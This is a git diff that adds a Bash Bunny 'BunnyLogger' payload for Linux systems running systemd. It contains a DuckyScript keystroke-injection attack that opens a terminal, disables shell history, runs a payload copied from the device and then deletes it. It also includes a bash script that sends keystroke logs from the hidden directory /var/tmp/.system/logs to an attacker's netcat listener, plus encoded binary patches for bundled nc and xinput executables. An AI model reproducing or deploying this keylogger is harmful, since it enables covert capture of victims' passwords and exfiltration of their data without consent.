+# Description: Key logger which sends each and every key stroke of target remotely/locally.
+# AUTHOR: drapl0n
+# Version: 1.0
+# Category: Credentials
+# Target: Unix-like operating systems with systemd.
+# Attackmodes: HID, Storage
+
+LED SETUP
+ATTACKMODE STORAGE HID
+GET SWITCH_POSITION
+LED ATTACK
+Q DELAY 1000
+Q CTRL-ALT t
+Q DELAY 1000
+
+# [Prevent storing history]
+Q STRING unset HISTFILE
+Q ENTER
+Q DELAY 200
+
+# [Fetching BashBunny's block device]
+Q STRING lol='$(lsblk | grep 1.8G)'
+Q ENTER
+Q DELAY 100
+Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)''
+Q ENTER
+Q DELAY 200
+
+# [Mounting BashBunny]
+Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp
+Q ENTER
+Q DELAY 2000
+Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)''
+Q ENTER
+Q DELAY 500
+
+# [transfering payload script]
+Q STRING cp -r '$mntt'/payloads/payload.sh /tmp/
+Q ENTER
+Q STRING chmod +x /tmp/payload.sh
+Q ENTER
+Q STRING /tmp/./payload.sh
+Q ENTER
+Q DELAY 2000
+Q STRING rm /tmp/payload.sh
+Q ENTER
+Q DELAY 500
+
+# [Unmounting BashBunny]
+Q STRING udisksctl unmount -b /dev/'$disk'
+Q ENTER
+Q DELAY 500
+Q STRING exit
+Q ENTER
+LED FINISH
diff --git a/payloads/library/credentials/BunnyLogger2.0/requirements/clctrl b/payloads/library/credentials/BunnyLogger2.0/requirements/clctrl
new file mode 100644
index 00000000..241ac449
--- /dev/null
+++ b/payloads/library/credentials/BunnyLogger2.0/requirements/clctrl
@@ -0,0 +1,41 @@
+#!/bin/bash
+transfer(){
+ echo -e "\033[1;34m[INFO]: Target Logs:\033[0m"
+ cd /var/tmp/.system/logs/
+ ls /var/tmp/.system/logs/ | sort
+ echo
+ echo -n "Enter filename to transfer: "
+ read ch
+ if [ -f $ch ];
+ then
+ echo -e "\033[1;34m[INFO]: Transferring file...\033[0m"
+ /var/tmp/.system/./nc -q 0 127.0.0.1 1444 < $ch >/dev/null 2>&1
+ if [ $? -eq 0 ]; then
+ echo -e "\033[1;32m[SUCCESS]: File Transferred.\033[0m"
+ else
+ echo -e "\033[1;34m[INFO]: Netcat listner is not running on Attacking system.\033[0m\n\033[1;31m[ERROR]: File transfer failed.\033[0m"
+ fi
+ else
+ echo -e "\033[1;31m[ERROR]: Invalid Filename \"$ch\".\033[0m"
+ fi
+}
+conti(){
+ while :
+ do
+ echo
+ echo -n "Would you like to transfer more files? [Y/N]: "
+ read ch
+ if [ "$ch" = y ] || [ "$ch" = Y ];
+ then
+ transfer
+ elif [ "$ch" = N ] || [ "$ch" = n ];
+ then
+ echo -e "\033[1;34m[INFO]: Terminating...\033[0m"
+ break
+ else
+ echo -e "\033[1;31m[ERROR]: Invalid Choice \"$ch\".\033[0m"
+ fi
+ done
+}
+transfer
+conti
diff --git a/payloads/library/credentials/BunnyLogger2.0/requirements/nc b/payloads/library/credentials/BunnyLogger2.0/requirements/nc
new file mode 100644
index 0000000000000000000000000000000000000000..8612bf0cdbc04ad0dad5c2c374f4b3941797c053
GIT binary patch
literal 34952
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
literal 0
HcmV?d00001
diff --git a/payloads/library/credentials/BunnyLogger2.0/requirements/xinput b/payloads/library/credentials/BunnyLogger2.0/requirements/xinput
new file mode 100644
index 0000000000000000000000000000000000000000..b9a549880f323010103c5fc2770f3968e336d81c
GIT binary patch
literal 60768
zcmeFadw5e-_CI`5S}C`ls8p+>MlD*DV#`Haq}V_TCzxV~a_NX%LYmTQo76Oc;viJh
zDw!DUco`W-XBfwsVH};o%OIjcxnD*d1TUzgRJ@&IK@kxU#lD}l_BqLEXy^C+zQ5;r
zpZ5>*ke;*GUVH7e*IsMwwb$7vEG=NXARxth#oW*I8(fN|0;wPV
z4w5dA&OkYpVWPfRTu>`M)hS)C={md@uGDUoUY~p&q~jS^gG0JfyPiJvHc?|-C95b?
zyEMAZ6XoPtGONbw^DDHbS)bu;KtS5j%2gy15v-~P}gfyZ&BW%UyXJo4r;en
zZ?{%&XIyQ%yo{?MPvVijTlD(ms{?iPF|LG5pR!Mbm2{uCo{OhlpU?$wT#a@=Lp$R0
zfBMmSLG
z7HeOEO~IEwITzkLXk5u#2iJXk|Kc~iuh;FntzuB&k*J}f0x9Y5GIV@a5{!xupyTe~
z+k1fD492>{f3pYrqkDi4K;JfEAnEfEgwY-S>>lWh>jD004}7|Mp#K#3=&s*C^&p2C
zJ@h-I2l&T5^!r#3_)R_VGrI>mH9d@XQxEjZdVsI!fzC@k;Qy-!KA-4;&mq9K;hX$%
z_CWt=5B!w$FfV<2fWL$eyPMyOdf;+J@9`+5Abz8!1tlU?)31c
z9{Qct1O7Wb(7&?>`0YK&A=txwb@sqdE$EynohKE4DXYD40Dh@~WV*KN_{ntc1DyJuo7As__@g2}p8}3+q&d#1rE@C10q^{phM+evwRC)~
z-{+m`o>%LY=FFL2=l9KN2)YBoIdcSRw}=&!y^X<=1zulJswj0g+^XMBs0}q#OBLmd
zd>(?=WL`WH$S69QhZRN?fYKc7A5uahb!dV_Q`*Pg>7;w)M5E@DMR0YuqUT@_*x98UJeqS))uSHuia^|{$g(3)kEKJ-X4)
zsSiLAs^)mAZkGb(JKs&gffK;_G
zPy+)36;E{lR6LFDIaM`2cWuq>fO>-q=7p-bwyqwvG#1@4)wyeYQWb{ZOjh{1o*oeg4u#xfmYvXqb*zjSa$ic#)^Cv~WGp+9Xe%H3@vt
zPW%;6IOEekyo-0j)Ega8n}J;JC7r34L+2BIigba_fU(~<)~&;OK4rDOpEuyEb$Im=
z!LtE3$}5xMPYb+NN$^8De036h?pT4pHVM8!$8Sr5H$5ZpcO=1AjuG(PN$`7gI{T8~
zt8_Z;N$}Pi1sydB{-{ppa1z`Y*NG&!R4C|3--xRrx4-Fh(v#r3b$+Z#@YSP5`>Z7R
zI-QO!37-C}z|Tp7+olM3UJ`tpPNyIVo~P3(PJ-_)6Lgd$_-nLL#-}U^UZ&HjNP;)r
zAn@lV!T+uEQ=J4ib9Fj9lHfKSzB>tC9~N}>CBeu2RlwVm
z;KOt}Y7)GuS>PW|f{)PgPb9%d>u`xSZ1@=ZU)-XXli)5L-QgH&c3h2l_CNo^-hp>6Z{;3!hcm0+??n=Y=YZO
z_$N&8pPAssK9<6R$tJk5&m?%c37&OW6o^M`wc{U~32sDARGDLfBdm#k@=S1ZG*w`N
z>mdubDK^1H)FenLCb;2isHV&WM*tN6RG8p><4{SOYl8PP!K+R1{w8?62|mCCZ#2O(
zOzpKgDWz)uqR
zNdiAf;3o8v=25&lG4%^OzGUM
zgtw$`jx*9Z>Hw-b2Y-UU^2NotqjELXYwex*41SNwl%m#lb9oPyDK)LNad{V&DJ89~
z=JF;gQz}|p$>nuarWCZ+%H?ONOsQwBiOWw?nbIj*J(nM+GNqukxm1sZ6P5&C2Bfl_{mHNnE~#%9Kjh4*v+i;CWQG
zQn{VWH&OXaD(~j<6e^!Z^qdoXYeFLTlpk
